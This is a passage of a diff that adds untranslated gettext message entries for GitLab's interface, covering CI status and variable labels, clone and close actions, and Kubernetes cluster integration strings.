+msgstr ""
+
+msgid "CiStatusLabel|preparing"
+msgstr ""
+
+msgid "CiStatusLabel|skipped"
+msgstr ""
+
+msgid "CiStatusLabel|waiting for delayed job"
+msgstr ""
+
+msgid "CiStatusLabel|waiting for manual action"
+msgstr ""
+
+msgid "CiStatusLabel|waiting for resource"
+msgstr ""
+
+msgid "CiStatusText|blocked"
+msgstr ""
+
+msgid "CiStatusText|canceled"
+msgstr ""
+
+msgid "CiStatusText|created"
+msgstr ""
+
+msgid "CiStatusText|delayed"
+msgstr ""
+
+msgid "CiStatusText|failed"
+msgstr ""
+
+msgid "CiStatusText|manual"
+msgstr ""
+
+msgid "CiStatusText|passed"
+msgstr ""
+
+msgid "CiStatusText|pending"
+msgstr ""
+
+msgid "CiStatusText|preparing"
+msgstr ""
+
+msgid "CiStatusText|skipped"
+msgstr ""
+
+msgid "CiStatusText|waiting"
+msgstr ""
+
+msgid "CiStatus|running"
+msgstr ""
+
+msgid "CiVariables|Cannot use Masked Variable with current value"
+msgstr ""
+
+msgid "CiVariables|Environments"
+msgstr ""
+
+msgid "CiVariables|Input variable key"
+msgstr ""
+
+msgid "CiVariables|Input variable value"
+msgstr ""
+
+msgid "CiVariables|Key"
+msgstr ""
+
+msgid "CiVariables|Masked"
+msgstr ""
+
+msgid "CiVariables|Protected"
+msgstr ""
+
+msgid "CiVariables|Remove variable row"
+msgstr ""
+
+msgid "CiVariables|Scope"
+msgstr ""
+
+msgid "CiVariables|Specify variable values to be used in this run. The values specified in %{linkStart}CI/CD settings%{linkEnd} will be used as default"
+msgstr ""
+
+msgid "CiVariables|State"
+msgstr ""
+
+msgid "CiVariables|Type"
+msgstr ""
+
+msgid "CiVariables|Value"
+msgstr ""
+
+msgid "CiVariables|Variables"
+msgstr ""
+
+msgid "CiVariable|* (All environments)"
+msgstr ""
+
+msgid "CiVariable|All environments"
+msgstr ""
+
+msgid "CiVariable|Create wildcard"
+msgstr ""
+
+msgid "CiVariable|Error occurred while saving variables"
+msgstr ""
+
+msgid "CiVariable|Masked"
+msgstr ""
+
+msgid "CiVariable|New environment"
+msgstr ""
+
+msgid "CiVariable|Protected"
+msgstr ""
+
+msgid "CiVariable|Search environments"
+msgstr ""
+
+msgid "CiVariable|Toggle masked"
+msgstr ""
+
+msgid "CiVariable|Toggle protected"
+msgstr ""
+
+msgid "CiVariable|Validation failed"
+msgstr ""
+
+msgid "Classification Label (optional)"
+msgstr ""
+
+msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
+msgstr ""
+
+msgid "Cleanup policy for tags"
+msgstr ""
+
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
+msgid "Clear"
+msgstr ""
+
+msgid "Clear all repository checks"
+msgstr ""
+
+msgid "Clear chart filters"
+msgstr ""
+
+msgid "Clear due date"
+msgstr ""
+
+msgid "Clear input"
+msgstr ""
+
+msgid "Clear recent searches"
+msgstr ""
+
+msgid "Clear search"
+msgstr ""
+
+msgid "Clear search input"
+msgstr ""
+
+msgid "Clear start date"
+msgstr ""
+
+msgid "Clear templates search input"
+msgstr ""
+
+msgid "Clear weight"
+msgstr ""
+
+msgid "Cleared weight."
+msgstr ""
+
+msgid "Clears weight."
+msgstr ""
+
+msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgstr ""
+
+msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgstr ""
+
+msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
+msgstr ""
+
+msgid "Click to expand it."
+msgstr ""
+
+msgid "Click to expand text"
+msgstr ""
+
+msgid "Client authentication certificate"
+msgstr ""
+
+msgid "Client authentication key"
+msgstr ""
+
+msgid "Client authentication key password"
+msgstr ""
+
+msgid "Clients"
+msgstr ""
+
+msgid "Clone"
+msgstr ""
+
+msgid "Clone repository"
+msgstr ""
+
+msgid "Clone with %{http_label}"
+msgstr ""
+
+msgid "Clone with %{protocol}"
+msgstr ""
+
+msgid "Clone with KRB5"
+msgstr ""
+
+msgid "Clone with SSH"
+msgstr ""
+
+msgid "Close"
+msgstr ""
+
+msgid "Close %{display_issuable_type}"
+msgstr ""
+
+msgid "Close %{tabname}"
+msgstr ""
+
+msgid "Close epic"
+msgstr ""
+
+msgid "Close milestone"
+msgstr ""
+
+msgid "Close sidebar"
+msgstr ""
+
+msgid "Close this %{quick_action_target}"
+msgstr ""
+
+msgid "Closed"
+msgstr ""
+
+msgid "Closed %{epicTimeagoDate}"
+msgstr ""
+
+msgid "Closed epics"
+msgstr ""
+
+msgid "Closed issues"
+msgstr ""
+
+msgid "Closed this %{quick_action_target}."
+msgstr ""
+
+msgid "Closed: %{closedIssuesCount}"
+msgstr ""
+
+msgid "Closes this %{quick_action_target}."
+msgstr ""
+
+msgid "Cluster"
+msgstr ""
+
+msgid "Cluster Health"
+msgstr ""
+
+msgid "Cluster cache cleared."
+msgstr ""
+
+msgid "Cluster does not exist"
+msgstr ""
+
+msgid "Cluster is required for Stages::ClusterEndpointInserter"
+msgstr ""
+
+msgid "Cluster level"
+msgstr ""
+
+msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
+msgstr ""
+
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
+msgstr ""
+
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
+msgstr ""
+
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
+msgstr ""
+
+msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
+msgstr ""
+
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ClusterIntegration|%{title} uninstalled successfully."
+msgstr ""
+
+msgid "ClusterIntegration|%{title} updated successfully."
+msgstr ""
+
+msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
+msgstr ""
+
+msgid "ClusterIntegration|A service token scoped to %{code}kube-system%{end_code} with %{code}cluster-admin%{end_code} privileges."
+msgstr ""
+
+msgid "ClusterIntegration|API URL"
+msgstr ""
+
+msgid "ClusterIntegration|API URL should be a valid http/https url."
+msgstr ""
+
+msgid "ClusterIntegration|Add Kubernetes cluster"
+msgstr ""
+
+msgid "ClusterIntegration|Add a Kubernetes cluster integration"
+msgstr ""
+
+msgid "ClusterIntegration|Adding a Kubernetes cluster to your group will automatically share the cluster across all your projects. Use review apps, deploy your applications, and easily run your pipelines for all projects using the same cluster."
+msgstr ""
+
+msgid "ClusterIntegration|Adding a Kubernetes cluster will automatically share the cluster across all projects. Use review apps, deploy your applications, and easily run your pipelines for all projects using the same cluster."
+msgstr ""
+
+msgid "ClusterIntegration|Adding an integration to your group will share the cluster across all your projects."
+msgstr ""
+
+msgid "ClusterIntegration|Adding an integration will share the cluster across all projects."
+msgstr ""
+
+msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
+msgstr ""
+
+msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
+msgstr ""
+
+msgid "ClusterIntegration|All data will be deleted and cannot be restored."
+msgstr ""
+
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
+msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
+msgstr ""
+
+msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
+msgstr ""
+
+msgid "ClusterIntegration|Alternatively, "
+msgstr ""
+
+msgid "ClusterIntegration|Amazon EKS"
+msgstr ""
+
+msgid "ClusterIntegration|An error occurred when trying to contact the Google Cloud API. Please try again later."
+msgstr ""
+
+msgid "ClusterIntegration|An error occurred while trying to fetch project zones: %{error}"
+msgstr ""
+
+msgid "ClusterIntegration|An error occurred while trying to fetch your projects: %{error}"
+msgstr ""
+
+msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
+msgstr ""
+
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
+msgid "ClusterIntegration|Any running pipelines will be canceled."
+msgstr ""
+
+msgid "ClusterIntegration|Apply for credit"
+msgstr ""
+
+msgid "ClusterIntegration|Authenticate with AWS"
+msgstr ""
+
+msgid "ClusterIntegration|Authenticate with Amazon Web Services"
+msgstr ""
+
+msgid "ClusterIntegration|Base domain"
+msgstr ""
+
+msgid "ClusterIntegration|Blocking mode"
+msgstr ""
+
+msgid "ClusterIntegration|CA Certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Cert-Manager"
+msgstr ""
+
+msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
+msgstr ""
+
+msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
+msgstr ""
+
+msgid "ClusterIntegration|Choose the %{startLink}security group %{externalLinkIcon} %{endLink} to apply to the EKS-managed Elastic Network Interfaces that are created in your worker node subnets."
+msgstr ""
+
+msgid "ClusterIntegration|Choose the %{startLink}subnets %{externalLinkIcon} %{endLink} in your VPC where your worker nodes will run."
+msgstr ""
+
+msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
+msgstr ""
+
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
+msgstr ""
+
+msgid "ClusterIntegration|Choose which of your environments will use this cluster."
+msgstr ""
+
+msgid "ClusterIntegration|Clear cluster cache"
+msgstr ""
+
+msgid "ClusterIntegration|Clear the local cache of namespace and service accounts. This is necessary if your integration has become out of sync. The cache is repopulated during the next CI job that requires namespace and service accounts."
+msgstr ""
+
+msgid "ClusterIntegration|Cluster being created"
+msgstr ""
+
+msgid "ClusterIntegration|Cluster management project (alpha)"
+msgstr ""
+
+msgid "ClusterIntegration|Cluster name is required."
+msgstr ""
+
+msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
+msgstr ""
+
+msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters."
+msgstr ""
+
+msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterIntegration|Copy API URL"
+msgstr ""
+
+msgid "ClusterIntegration|Copy CA Certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Copy Ingress Endpoint"
+msgstr ""
+
+msgid "ClusterIntegration|Copy Jupyter Hostname"
+msgstr ""
+
+msgid "ClusterIntegration|Copy Knative Endpoint"
+msgstr ""
+
+msgid "ClusterIntegration|Copy Kubernetes cluster name"
+msgstr ""
+
+msgid "ClusterIntegration|Could not load IAM roles"
+msgstr ""
+
+msgid "ClusterIntegration|Could not load Key Pairs"
+msgstr ""
+
+msgid "ClusterIntegration|Could not load VPCs for the selected region"
+msgstr ""
+
+msgid "ClusterIntegration|Could not load instance types"
+msgstr ""
+
+msgid "ClusterIntegration|Could not load networks"
+msgstr ""
+
+msgid "ClusterIntegration|Could not load regions from your AWS account"
+msgstr ""
+
+msgid "ClusterIntegration|Could not load security groups for the selected VPC"
+msgstr ""
+
+msgid "ClusterIntegration|Could not load subnets for the selected VPC"
+msgstr ""
+
+msgid "ClusterIntegration|Could not load subnetworks"
+msgstr ""
+
+msgid "ClusterIntegration|Create Kubernetes cluster"
+msgstr ""
+
+msgid "ClusterIntegration|Create a provision role on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the account and external ID above. %{startMoreInfoLink}More information%{endLink}"
+msgstr ""
+
+msgid "ClusterIntegration|Create cluster on"
+msgstr ""
+
+msgid "ClusterIntegration|Create new cluster"
+msgstr ""
+
+msgid "ClusterIntegration|Create new cluster on EKS"
+msgstr ""
+
+msgid "ClusterIntegration|Create new cluster on GKE"
+msgstr ""
+
+msgid "ClusterIntegration|Creating Kubernetes cluster"
+msgstr ""
+
+msgid "ClusterIntegration|Crossplane"
+msgstr ""
+
+msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
+msgstr ""
+
+msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
+msgstr ""
+
+msgid "ClusterIntegration|Did you know?"
+msgstr ""
+
+msgid "ClusterIntegration|Elastic Kubernetes Service"
+msgstr ""
+
+msgid "ClusterIntegration|Elastic Stack"
+msgstr ""
+
+msgid "ClusterIntegration|Enable Cloud Run for Anthos"
+msgstr ""
+
+msgid "ClusterIntegration|Enable or disable GitLab's connection to your Kubernetes cluster."
+msgstr ""
+
+msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
+msgstr ""
+
+msgid "ClusterIntegration|Enabled stack"
+msgstr ""
+
+msgid "ClusterIntegration|Enter new Service Token"
+msgstr ""
+
+msgid "ClusterIntegration|Enter the details for your Amazon EKS Kubernetes cluster"
+msgstr ""
+
+msgid "ClusterIntegration|Enter the details for your Kubernetes cluster"
+msgstr ""
+
+msgid "ClusterIntegration|Environment scope"
+msgstr ""
+
+msgid "ClusterIntegration|Environment scope is required."
+msgstr ""
+
+msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
+msgstr ""
+
+msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
+msgstr ""
+
+msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
+msgstr ""
+
+msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
+msgstr ""
+
+msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
+msgstr ""
+
+msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
+msgstr ""
+
+msgid "ClusterIntegration|Fetching machine types"
+msgstr ""
+
+msgid "ClusterIntegration|Fetching projects"
+msgstr ""
+
+msgid "ClusterIntegration|Fetching zones"
+msgstr ""
+
+msgid "ClusterIntegration|Fluentd"
+msgstr ""
+
+msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
+msgstr ""
+
+msgid "ClusterIntegration|GitLab Container Network Policies"
+msgstr ""
+
+msgid "ClusterIntegration|GitLab Integration"
+msgstr ""
+
+msgid "ClusterIntegration|GitLab Runner"
+msgstr ""
+
+msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
+msgstr ""
+
+msgid "ClusterIntegration|GitLab-managed cluster"
+msgstr ""
+
+msgid "ClusterIntegration|Global default"
+msgstr ""
+
+msgid "ClusterIntegration|Google Cloud Platform project"
+msgstr ""
+
+msgid "ClusterIntegration|Google GKE"
+msgstr ""
+
+msgid "ClusterIntegration|Google Kubernetes Engine"
+msgstr ""
+
+msgid "ClusterIntegration|Google Kubernetes Engine project"
+msgstr ""
+
+msgid "ClusterIntegration|Group cluster"
+msgstr ""
+
+msgid "ClusterIntegration|Helm Tiller"
+msgstr ""
+
+msgid "ClusterIntegration|Helm release failed to install"
+msgstr ""
+
+msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
+msgstr ""
+
+msgid "ClusterIntegration|If you do not wish to delete all associated GitLab resources, you can simply remove the integration."
+msgstr ""
+
+msgid "ClusterIntegration|In order to view the health of your cluster, you must first install Prometheus in the Applications tab."
+msgstr ""
+
+msgid "ClusterIntegration|Ingress"
+msgstr ""
+
+msgid "ClusterIntegration|Ingress Endpoint"
+msgstr ""
+
+msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
+msgstr ""
+
+msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
+msgstr ""
+
+msgid "ClusterIntegration|Instance cluster"
+msgstr ""
+
+msgid "ClusterIntegration|Instance type"
+msgstr ""
+
+msgid "ClusterIntegration|Integrate Kubernetes cluster automation"
+msgstr ""
+
+msgid "ClusterIntegration|Issuer Email"
+msgstr ""
+
+msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
+msgstr ""
+
+msgid "ClusterIntegration|Jupyter Hostname"
+msgstr ""
+
+msgid "ClusterIntegration|JupyterHub"
+msgstr ""
+
+msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
+msgstr ""
+
+msgid "ClusterIntegration|Key pair name"
+msgstr ""
+
+msgid "ClusterIntegration|Knative"
+msgstr ""
+
+msgid "ClusterIntegration|Knative Domain Name:"
+msgstr ""
+
+msgid "ClusterIntegration|Knative Endpoint:"
+msgstr ""
+
+msgid "ClusterIntegration|Knative domain name was updated successfully."
+msgstr ""
+
+msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
+msgstr ""
+
+msgid "ClusterIntegration|Kubernetes cluster"
+msgstr ""
+
+msgid "ClusterIntegration|Kubernetes cluster is being created..."
+msgstr ""
+
+msgid "ClusterIntegration|Kubernetes cluster name"
+msgstr ""
+
+msgid "ClusterIntegration|Kubernetes cluster was successfully created."
+msgstr ""
+
+msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
+msgstr ""
+
+msgid "ClusterIntegration|Kubernetes clusters can be used to deploy applications and to provide Review Apps for this project"
+msgstr ""
+
+msgid "ClusterIntegration|Kubernetes version"
+msgstr ""
+
+msgid "ClusterIntegration|Kubernetes version not found"
+msgstr ""
+
+msgid "ClusterIntegration|Learn more about %{help_link_start_machine_type}machine types%{help_link_end} and %{help_link_start_pricing}pricing%{help_link_end}."
+msgstr ""
+
+msgid "ClusterIntegration|Learn more about %{help_link_start}zones%{help_link_end}."
+msgstr ""
+
+msgid "ClusterIntegration|Learn more about %{startLink}Regions %{externalLinkIcon}%{endLink}."
+msgstr ""
+
+msgid "ClusterIntegration|Learn more about Kubernetes"
+msgstr ""
+
+msgid "ClusterIntegration|Learn more about group Kubernetes clusters"
+msgstr ""
+
+msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
+msgstr ""
+
+msgid "ClusterIntegration|Loading IAM Roles"
+msgstr ""
+
+msgid "ClusterIntegration|Loading Key Pairs"
+msgstr ""
+
+msgid "ClusterIntegration|Loading Regions"
+msgstr ""
+
+msgid "ClusterIntegration|Loading VPCs"
+msgstr ""
+
+msgid "ClusterIntegration|Loading instance types"
+msgstr ""
+
+msgid "ClusterIntegration|Loading networks"
+msgstr ""
+
+msgid "ClusterIntegration|Loading security groups"
+msgstr ""
+
+msgid "ClusterIntegration|Loading subnets"
+msgstr ""
+
+msgid "ClusterIntegration|Loading subnetworks"
+msgstr ""
+
+msgid "ClusterIntegration|Logging mode"
+msgstr ""
+
+msgid "ClusterIntegration|Machine type"
+msgstr ""
+
+msgid "ClusterIntegration|Make sure your account %{link_to_requirements} to create Kubernetes clusters"
+msgstr ""
+
+msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
+msgstr ""
+
+msgid "ClusterIntegration|No IAM Roles found"
+msgstr ""
+
+msgid "ClusterIntegration|No Key Pairs found"
+msgstr ""
+
+msgid "ClusterIntegration|No VPCs found"
+msgstr ""
+
+msgid "ClusterIntegration|No deployment cluster found for this job"
+msgstr ""
+
+msgid "ClusterIntegration|No deployment found for this job"
+msgstr ""
+
+msgid "ClusterIntegration|No instance type found"
+msgstr ""
+
+msgid "ClusterIntegration|No machine types matched your search"
+msgstr ""
+
+msgid "ClusterIntegration|No networks found"
+msgstr ""
+
+msgid "ClusterIntegration|No projects found"
+msgstr ""
+
+msgid "ClusterIntegration|No projects matched your search"
+msgstr ""
+
+msgid "ClusterIntegration|No region found"
+msgstr ""
+
+msgid "ClusterIntegration|No security group found"
+msgstr ""
+
+msgid "ClusterIntegration|No subnet found"
+msgstr ""
+
+msgid "ClusterIntegration|No subnetworks found"
+msgstr ""
+
+msgid "ClusterIntegration|No zones matched your search"
+msgstr ""
+
+msgid "ClusterIntegration|Number of nodes"
+msgstr ""
+
+msgid "ClusterIntegration|Number of nodes must be a numerical value."
+msgstr ""
+
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
+msgstr ""
+
+msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
+msgstr ""
+
+msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
+msgstr ""
+
+msgid "ClusterIntegration|Project cluster"
+msgstr ""
+
+msgid "ClusterIntegration|Project namespace (optional, unique)"
+msgstr ""
+
+msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
+msgstr ""
+
+msgid "ClusterIntegration|Prometheus"
+msgstr ""
+
+msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
+msgstr ""
+
+msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
+msgstr ""
+
+msgid "ClusterIntegration|Provider details"
+msgstr ""
+
+msgid "ClusterIntegration|Provision Role ARN"
+msgstr ""
+
+msgid "ClusterIntegration|RBAC-enabled cluster"
+msgstr ""
+
+msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
+msgstr ""
+
+msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ClusterIntegration|Region"
+msgstr ""
+
+msgid "ClusterIntegration|Remove Kubernetes cluster integration"
+msgstr ""
+
+msgid "ClusterIntegration|Remove integration"
+msgstr ""
+
+msgid "ClusterIntegration|Remove integration and resources"
+msgstr ""
+
+msgid "ClusterIntegration|Remove integration and resources?"
+msgstr ""
+
+msgid "ClusterIntegration|Remove integration?"
+msgstr ""
+
+msgid "ClusterIntegration|Remove this Kubernetes cluster's configuration from this project. This will not delete your actual Kubernetes cluster."
+msgstr ""
+
+msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
+msgstr ""
+
+msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
+msgstr ""
+
+msgid "ClusterIntegration|Request to begin installing failed"
+msgstr ""
+
+msgid "ClusterIntegration|Request to begin uninstalling failed"
+msgstr ""
+
+msgid "ClusterIntegration|SIEM Hostname"
+msgstr ""
+
+msgid "ClusterIntegration|SIEM Port"
+msgstr ""
+
+msgid "ClusterIntegration|SIEM Protocol"
+msgstr ""
+
+msgid "ClusterIntegration|Save changes"
+msgstr ""
+
+msgid "ClusterIntegration|Search IAM Roles"
+msgstr ""
+
+msgid "ClusterIntegration|Search Key Pairs"
+msgstr ""
+
+msgid "ClusterIntegration|Search VPCs"
+msgstr ""
+
+msgid "ClusterIntegration|Search domains"
+msgstr ""
+
+msgid "ClusterIntegration|Search instance types"
+msgstr ""
+
+msgid "ClusterIntegration|Search machine types"
+msgstr ""
+
+msgid "ClusterIntegration|Search networks"
+msgstr ""
+
+msgid "ClusterIntegration|Search projects"
+msgstr ""
+
+msgid "ClusterIntegration|Search regions"
+msgstr ""
+
+msgid "ClusterIntegration|Search security groups"
+msgstr ""
+
+msgid "ClusterIntegration|Search subnets"
+msgstr ""
+
+msgid "ClusterIntegration|Search subnetworks"
+msgstr ""
+
+msgid "ClusterIntegration|Search zones"
+msgstr ""
+
+msgid "ClusterIntegration|Security group"
+msgstr ""
+
+msgid "ClusterIntegration|See and edit the details for your Kubernetes cluster"
+msgstr ""
+
+msgid "ClusterIntegration|Select a VPC to choose a security group"
+msgstr ""
+
+msgid "ClusterIntegration|Select a VPC to choose a subnet"
+msgstr ""
+
+msgid "ClusterIntegration|Select a VPC to use for your EKS Cluster resources. To use a new VPC, first create one on %{startLink}Amazon Web Services %{externalLinkIcon} %{endLink}."
+msgstr ""
+
+msgid "ClusterIntegration|Select a network to choose a subnetwork"
+msgstr ""
+
+msgid "ClusterIntegration|Select a region to choose a Key Pair"
+msgstr ""
+
+msgid "ClusterIntegration|Select a region to choose a VPC"
+msgstr ""
+
+msgid "ClusterIntegration|Select a stack to install Crossplane."
+msgstr ""
+
+msgid "ClusterIntegration|Select a zone to choose a network"
+msgstr ""
+
+msgid "ClusterIntegration|Select existing domain or use new"
+msgstr ""
+
+msgid "ClusterIntegration|Select machine type"
+msgstr ""
+
+msgid "ClusterIntegration|Select project"
+msgstr ""
+
+msgid "ClusterIntegration|Select project and zone to choose machine type"
+msgstr ""
+
+msgid "ClusterIntegration|Select project to choose zone"
+msgstr ""
+
+msgid "ClusterIntegration|Select the key pair name that will be used to create EC2 nodes. To use a new key pair name, first create one on %{startLink}Amazon Web Services %{externalLinkIcon} %{endLink}."
+msgstr ""
+
+msgid "ClusterIntegration|Select zone"
+msgstr ""
+
+msgid "ClusterIntegration|Select zone to choose machine type"
+msgstr ""
+
+msgid "ClusterIntegration|Send Container Network Policies Logs"
+msgstr ""
+
+msgid "ClusterIntegration|Send Web Application Firewall Logs"
+msgstr ""
+
+msgid "ClusterIntegration|Service Token"
+msgstr ""
+
+msgid "ClusterIntegration|Service role"
+msgstr ""
+
+msgid "ClusterIntegration|Service token is required."
+msgstr ""
+
+msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
+msgstr ""
+
+msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
+msgstr ""
+
+msgid "ClusterIntegration|Something went wrong on our end."
+msgstr ""
+
+msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
+msgstr ""
+
+msgid "ClusterIntegration|Something went wrong while installing %{title}"
+msgstr ""
+
+msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
+msgstr ""
+
+msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
+msgstr ""
+
+msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
+msgstr ""
+
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
+msgstr ""
+
+msgid "ClusterIntegration|Subnets"
+msgstr ""
+
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
+msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
+msgstr ""
+
+msgid "ClusterIntegration|The Kubernetes certificate used to authenticate to the cluster."
+msgstr ""
+
+msgid "ClusterIntegration|The URL used to access the Kubernetes API."
+msgstr ""
+
+msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
+msgstr ""
+
+msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgstr ""
+
+msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
+msgstr ""
+
+msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
+msgstr ""
+
+msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
+msgstr ""
+
+msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
+msgstr ""
+
+msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
+msgstr ""
+
+msgid "ClusterIntegration|There was a problem authenticating with your cluster. Please ensure your CA Certificate and Token are valid."
+msgstr ""
+
+msgid "ClusterIntegration|This account must have permissions to create a Kubernetes cluster in the %{link_to_container_project} specified below"
+msgstr ""
+
+msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
+msgstr ""
+
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
+msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
+msgstr ""
+
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
+msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
+msgstr ""
+
+msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
+msgstr ""
+
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
+msgid "ClusterIntegration|Uninstall %{appTitle}"
+msgstr ""
+
+msgid "ClusterIntegration|Update %{appTitle}"
+msgstr ""
+
+msgid "ClusterIntegration|Update failed. Please check the logs and try again."
+msgstr ""
+
